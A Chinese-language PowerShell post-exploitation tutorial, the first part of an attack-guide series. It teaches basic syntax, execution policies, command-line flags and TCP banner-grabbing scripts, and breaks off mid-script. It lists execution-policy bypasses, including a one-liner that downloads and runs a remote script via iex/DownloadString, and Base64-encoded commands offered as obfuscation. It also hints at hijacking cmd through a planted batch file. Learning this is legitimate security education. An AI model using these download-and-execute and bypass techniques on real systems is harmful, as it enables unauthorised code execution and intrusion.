Powershell攻击指南——黑客后渗透之道系列之基础篇
此为Powershell攻击指南——黑客后渗透之道系列的第一篇基础篇。此后每两天更新一篇,敬请期待!
前言
一段时间以来研究Powershell,后来应朋友们对Powershell的需求,让我写一个Powershell安全入门或者介绍方面的文章,所以这篇文章就出现了。但又因为各种各样的事情搞得有些拖延,同时作者文笔不好,文章可能有不流畅的地方,还请多多见谅。这里做一些总结,来让新人对此有个大致了解,能对Powershell或是内网有更多的理解。开始之前也要感谢红线安全团队的资深安全专家@城哥和朋友x403258在我写文过程中的帮助。
那么开始之前我们先来思考一下powershell一个常见的问题,那么我们知道powershell的后缀是ps1,哪为什么是ps1而不是ps2,ps3呢?那么理解这个问题呢我们可以看看powershell的特性,powershell是对下完全兼容的,也就是说你使用powershell 5.x的版本来执行powershell v1.0的代码也是完全没有问题的。那么我个人理解一下为什么是ps1,可以这么说,当我们见到ps2后缀之时就是powershell进行大的更新,也就是不对下兼容的时候,所以这里一直是使用ps1后缀。
那么对于我们的安全人员来说我们用什么版本呢?毫无疑问是v2,为什么呢,应为在win7当中默认安装了v2,而且之后的版本都是兼容v2的,v1版本所有的功能对于我们的需求很多都不能瞒住,所以v2成为了我们目前来说独一无二的选择,通过下面的方式我们可以看到我们的powershell的版本与一些详细的信息,后面我们的代码,大多都是以v2.0来讨论的。
Get-Host
Name : ConsoleHost
Version : 2.0
InstanceId : 388599a6-35cd-4bba-bedb-cf00d2a39389
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : en-US
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
对于安全人员学习ps主要有以下两个场景:
-
第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令
-
第二种我们已经到了对方网络,再不济也是一台DMZ的win-server,那么我们利用ps做的事情那么自然而然的是对内网继续深入
那么本powershell系列主要是内容涉及和安全测试相关的内容,所以面向的读者主要是安全或者运维人员,不管你是在网络世界中扮演什么角色,在这里应该是能
收获到你想要的。文章主要包含下面一些内容:
-
powershell基础语法
-
powershell脚本编写与调用执行
-
powershell的Socket编程
-
powershell端口扫描与服务爆破
-
powershell多线程
-
powershell操作wmi
-
powershell操作win32API
-
powershell操作Dll注入&shellcode注入&exe注入
-
powershell混淆
-
powershell事件日志
-
powershell实例使用场景
-
Powershell渗透工具集
powershell(2)-基础
本节主要讲一下关于powershell一些简单的基础知识,推荐网站http://www.pstips.net/学习Powershell的一些基础知识这里是一些简单的基础,写的可能有些简陋,这里可能需要你有一些编程语言的基础就能看懂啦,这里对于后面的代码分析是非常有用的,所以还是希望大家简单的浏览一下基础知识。
变量
变量都是以$
开头, 是强类型语言, 语言是大小写不敏感的
提一提变量保护与常量的声明:New-Variable num -Value 100 -Force -Option readonly
这样就得到一个受保护的变量$num
,如果要销毁它只能通过`del
$num删除。如果要声明常量则用
New-Variable num -Value 100 -Force -Option constant`
数组
数组的创建:
数组的创建可以通过下面五种方式来创建,在适当的条件下选择适当的方式创建即可
$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组
数组的访问
数组的访问和C类似,第一位元素实用下标0来访问即$array[0]
,我们来看看ipconfig获取到的数据
$ip = ipconfig
$ip[1] # 获取ipconfig第二行的数据
数组的判断
$test -is [array]
数组的追加:
$books += "元素4"
哈希表
哈希表的创建:
$stu=@{ Name = "test";Age="12";sex="man" }
哈希表里存数组:
$stu=@{ Name = "hei";Age="12";sex="man";Books="kali","sqlmap","powershell" }
哈希表的插入与删除:
$Student=@{}
$Student.Name="hahaha"
$stu.Remove("Name")
对象
在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法
控制语句
条件判断
比较运算符
-eq :等于
-ne :不等于
-gt :大于
-ge :大于等于
-lt :小于
-le :小于等于
-contains :包含
$array -contains something
-notcontains :不包含
!($a): 求反
-and :和
-or :或
-xor :异或
-not :逆
if-else
if-else:
if($value -eq 1){
code1
}else{
code2
}
循环语句
while
while($n -gt 0){
code
}
for
$sum=0
for($i=1;$i -le 100;$i++)
{
$sum+=$i
}
$sum
foreach
# 打印出windows目录下大于1mb的文件名
foreach($file in dir c:windows)
{
if($file.Length -gt 1mb)
{
$File.Name
}
}
foreach-object
# 获取所有的服务,并获取对呀进程ID是否大于100
Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}
函数
function Invoke-PortScan {
<#
.SYNOPSIS
简介
.DESCRIPTION
描述
.PARAMETER StartAddress
参数
.PARAMETER EndAddress
参数
.EXAMPLE
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
用例
#>
code
}
异常处理
Try{
$connection.open()
$success = $true
}Catch{
$success = $false
}
Powershell(3)-脚本执行基础
开始之前
我们在开始之前先来介绍在windows平台中常用到的几种脚本
Bat
这就是我们常用的Bat脚本,全名为批处理文件,脚本中就是我们在CMD中使用到的命令,这里提一个小问题:CMD的命令行执行命令的优先级是.bat > .exe
,那么假如我放一个cmd.bat在system32目录下,那么优先执行的是cmd.bat,这里面的内容就变得不可描述起来了
VBscript
执行vbs就是常说的vbscript,是微软为了方便自动化管理windows而推出的脚本语言,这里了解一下即可,不是文章重点。
一个小例子通过vbs操作WMI
Set wmi = GetObject("winmgmts:")
Set collection = wmi.ExecQuery("select * from Win32_Process")
For Each process in collection
WScript.Echo process.getObjectText_
Next
Powershell
这就是我们的主角,在现在和未来一定是powershell占据主要地位(对于这一点搞Win多一点的朋友一定不会怀疑),首先我们来看一个简单的例子
script.ps1:
# 脚本内容
function test-conn { Test-Connection -Count 2 -ComputerName $args}
# 载入脚本文件
.script.ps1
# 调用函数
test-conn localhost
Powershell执行策略
那么你可能会在调用脚本的时候出现报错,这是powershell的安全执行策略,下面我们来了解一下执行策略:PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略简单介绍各种策略如下:
名称 | 说明 |
---|---|
Restricted | 受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy -ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。 |
AllSigned | AllSigned 执行策略允许执行所有具有数字签名的脚本 |
RemoteSigned | 当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。 |
Unrestricted | 这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本 |
Bypass | Bypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。 |
Undefined | Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。 |
那么我们如何绕过这些安全策略呢?下面提供几种方法,网上还有很多的绕过方法,大家可以自行研究:
名称 | 说明 |
---|---|
Get-ExecutionPolicy | 获取当前的执行策略 |
Get-Content .test.ps1 | powershell.exe -noprofile – | 通过管道输入进ps |
powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://192.168.1.2/test.ps1‘)” | 通过远程下载脚本来绕过|bytes = [System.Text.Encoding]::Unicode.GetBytes(encodedCommand =[Convert]::ToBase64String(encodedCommand|通过BASE64编码执行| |
powershell的脚本调用方法:
-
如果脚本是直接写的代码而不是只定义了函数那么直接执行脚本.script.ps1即可
-
但是如果是载入里面的函数需要
.+空格+.script.ps1
-
或者使用Import-Module .script.ps1, 这样才能直接使用脚本的函数
通过控制台执行Powershell
对于我们安全测试人员通常获取到的一个Shell是CMD的, 那么我们想要尽可能少的操作就可以直接通过控制台来执行powershell的命令, 那么先来看一个简单的例子:
可以看到我们通过CMD界面执行了Powershell的代码, 那么其实这样的执行方式在真实的安全测试环境中利用更多, 下面是一个Powershell通过这种方式执行的所有
可选的参数:
PowerShell[.exe]
[-PSConsoleFile <file> | -Version <version>]
[-EncodedCommand <Base64EncodedCommand>]
[-ExecutionPolicy <ExecutionPolicy>]
[-File <filePath> <args>]
[-InputFormat {Text | XML}]
[-NoExit]
[-NoLogo]
[-NonInteractive]
[-NoProfile]
[-OutputFormat {Text | XML}]
[-Sta]
[-WindowStyle <style>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
名称 | 解释 |
---|---|
-Command | 需要执行的代码 |
-ExecutionPolicy | 设置默认的执行策略,一般使用Bypass |
-EncodedCommand | 执行Base64代码 |
-File | 这是需要执行的脚本名 |
-NoExit | 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami 执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面 |
-NoLogo | 不输出PS的Banner信息 |
-Noninteractive | 不开启交互式的会话 |
-NoProfile | 不使用当前用户使用的配置文件 |
-Sta | 以单线程模式启动ps |
-Version | 设置用什么版本去执行代码 |
-WindowStyle | 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden |
最后举一个执行Base64代码的例子:
-
我们先试用上面一个表格提到的编码代码编码命令
whoami
, 得到字符串:dwBoAG8AYQBtAGkACgA=
-
通过下面的命令来执行代码
powershell -EncodedCommand dwBoAG8AYQBtAGkACgA=
那么这种需求在什么地方呢? 比如我们的代码特别长或者会引起一起歧义的时候就需要我们使用这种方式去执行, 同时也是一个混淆的方式。
Powershell(4)-Socket网络编程
这一小节我们介绍Powershell中的Socket编程,网络编程是所有语言中绕不开的核心点,下面我们通过对代码的分析来让大家对PS中的Socket有一个初步的了解。
Scoket-Tcp编程
开始之前我们先想想为什么要学习socket编程,那么最直观的是端口扫描,那么还有可能是反弹shell之类的应用。进行Socket编程只需要调用.Net框架即可,这里
先使用TCP来示例:
这里是去打开一个TCP连接到本地的21端口,并获取21端口返回的Banner信息,其中GetOutput函数看不了可以先不看,其用来获取stream中的数据,主要看Main函数
内容:
Tcp-Demo.ps1
function GetOutput
{
## 创建一个缓冲区获取数据
$buffer = new-object System.Byte[] 1024
$encoding = new-object System.Text.AsciiEncoding
$outputBuffer = ""
$findMore = $false
## 从stream读取所有的数据,写到输出缓冲区
do{
start-sleep -m 1000
$findmore = $false
# 读取Timeout
$stream.ReadTimeout = 1000
do{
try {
$read = $stream.Read($buffer, 0, 1024)
if($read -gt 0){
$findmore = $true
$outputBuffer += ($encoding.GetString($buffer, 0, $read))
}
} catch { $findMore = $false; $read = 0 }
} while($read -gt 0)
} while($findmore)
$outputBuffer
}
function Main{
# 定义主机和端口
$remoteHost = "127.0.0.1"
$port = 21
# 定义连接Host与Port
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
# 进行连接
$stream = $socket.GetStream()
# 获取Stream
$writer = new-object System.IO.StreamWriter $stream
# 创建IO对象
$SCRIPT:output += GetOutput
# 声明变量
if($output){
# 输出
foreach($line in $output.Split("`n"))
{
write-host $line
}
$SCRIPT:output = ""
}
}
. Main
我们来看看输出结果:
PS C:UsersrootclayDesktoppowershell> . .Tcp-Demo.ps1
220 Microsoft FTP Service
这样就打开了21端口的连接,并且获取到了21端口的banner信息.
那么有过端口扫描编写的朋友肯定已经看到了,这种方式是直接打开连接,并不能获取到一些需要发包才能返回banner的端口信息,典型的80端口就是如此,我们
需要给80端口发送特定的信息才能得到Response, 当然还有许多类似的端口,比如3389端口, 下面我们来看看我们如何使用powershell实现这项功能.
Tcp-Demo2.ps1
function GetOutput
{
... # 代码和上面的一样
}
function Main{
# 定义主机和端口
$remoteHost = "127.0.0.1"
$port = 80
# 定义连接Host与Port
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
# 进行连接
$stream = $socket.GetStream()
# 获取Stream
$writer = new-object System.IO.StreamWriter $stream
# 创建IO对象
$SCRIPT:output += GetOutput
# 声明变量, userInput为要发包的内容,这里我们需要发送一个GET请求给Server
$userInput = "GET / HTTP/1.1 `nHost: localhost `n`n"
# 定义发包内容
foreach($line in $userInput)
{
# 发送数据
$writer.WriteLine($line)
$writer.Flush()
$SCRIPT:output += GetOutput
}
if($output){
# 输出
foreach($line in $output.Split("`n"))
{
write-host $line
}
$SCRIPT:output = ""
}
}
. Main
我们来看看输出:
PS C:UsersrootclayDesktoppowershell> . .Tcp-Demo2.ps1
HTTP/1.1 200 OK
Content-Type: text/html
Accept-Ranges: bytes
ETag: "5e26ec16b73ad31:0"
Server: Microsoft-IIS/7.5
Content-Length: 689
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>IIS7</title>
<style type="text/css">
</style>
</head>
<body>
...
</body>
</html>
我们下面对这项功能进行一个整合:
我们可以发包给一个端口,也可以直接连接一个端口,这里已经实现TCP,http,https三种常见协议的访问
########################################
## Tcp-Request.ps1
##
## Example1:
##
## $http = @"
## GET / HTTP/1.1
## Host:127.0.0.1
## `n`n
## "@
##
## `n 在Powershell中代表换行符
## $http | .Tcp-Request localhost 80
##
## Example2:
## .Tcp-Request localhost 80
########################################
## 管理参数输入param()数组
param(
[string] $remoteHost = "localhost",
[int] $port = 80,
[switch] $UseSSL,
[string] $inputObject,
[int] $commandDelay = 100
)
[string] $output = ""
## 获取用户输入模式
$currentInput = $inputObject
if(-not $currentInput)
{
$SCRIPT:currentInput = @($input)
}
# 脚本模式开关, 如果脚本能读取到输入, 使用发包模式, 如果没有输入使用TCP直连模式
$scriptedMode = [bool] $currentInput
function Main
{
## 打开socket连接远程机器和端口
if(-not $scriptedMode)
{
write-host "Connecting to $remoteHost on port $port"
}
## 异常追踪
trap { Write-Error "Could not connect to remote computer: $_"; exit }
$socket = new-object System.Net.Sockets.TcpClient($remoteHost, $port)
if(-not $scriptedMode)
{
write-host "Connected. Press ^D(Control + D) followed by [ENTER] to exit.`n"
}
$stream = $socket.GetStream()
## 如果有SSl使用SSLStream获取Stream
if($UseSSL)
{
$sslStream = New-Object System.Net.Security.SslStream $stream,$false
$sslStream.AuthenticateAsClient($remoteHost)
$stream = $sslStream
}
$writer = new-object System.IO.StreamWriter $stream
while($true